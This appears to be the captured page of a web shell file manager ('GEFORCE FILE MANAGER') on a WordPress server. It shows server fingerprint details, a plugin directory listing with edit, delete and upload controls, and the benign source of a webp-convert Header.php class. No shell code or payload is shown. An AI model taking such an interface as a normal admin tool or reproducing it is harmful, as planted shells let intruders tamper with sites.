[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
wp-optimize
/
vendor
/
rosell-dk
/
webp-convert
/
src
/
Serve
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
π Exceptions
SET
[ DEL ]
π Header.php
1,252 B
SET
[ EDIT ]
|
[ DEL ]
π Report.php
1,567 B
SET
[ EDIT ]
|
[ DEL ]
π ServeConvertedWebP.php
9,291 B
SET
[ EDIT ]
|
[ DEL ]
π ServeConvertedWebPWithErrorHandling.php
6,519 B
SET
[ EDIT ]
|
[ DEL ]
π ServeFile.php
5,165 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: Header.php
<?php namespace WebPConvert\Serve; /** * Add / Set HTTP header. * * This class does nothing more than adding two convenience functions for calling the "header" function. * * @package WebPConvert * @author BjΓΈrn Rosell <it@rosell.dk> * @since Class available since Release 2.0.0 */ class Header { /** * Convenience function for adding header (append). * * @param string $header The header to add. * @return void */ public static function addHeader($header) { header($header, false); } /** * Convenience function for replacing header. * * @param string $header The header to set. * @return void */ public static function setHeader($header) { header($header, true); } /** * Add log header and optionally send it to a logger as well. * * @param string $msg Message to add to "X-WebP-Convert-Log" header * @param \WebPConvert\Loggers\BaseLogger $logger (optional) * @return void */ public static function addLogHeader($msg, $logger = null) { self::addHeader('X-WebP-Convert-Log: ' . $msg); if (!is_null($logger)) { $logger->logLn($msg); } } }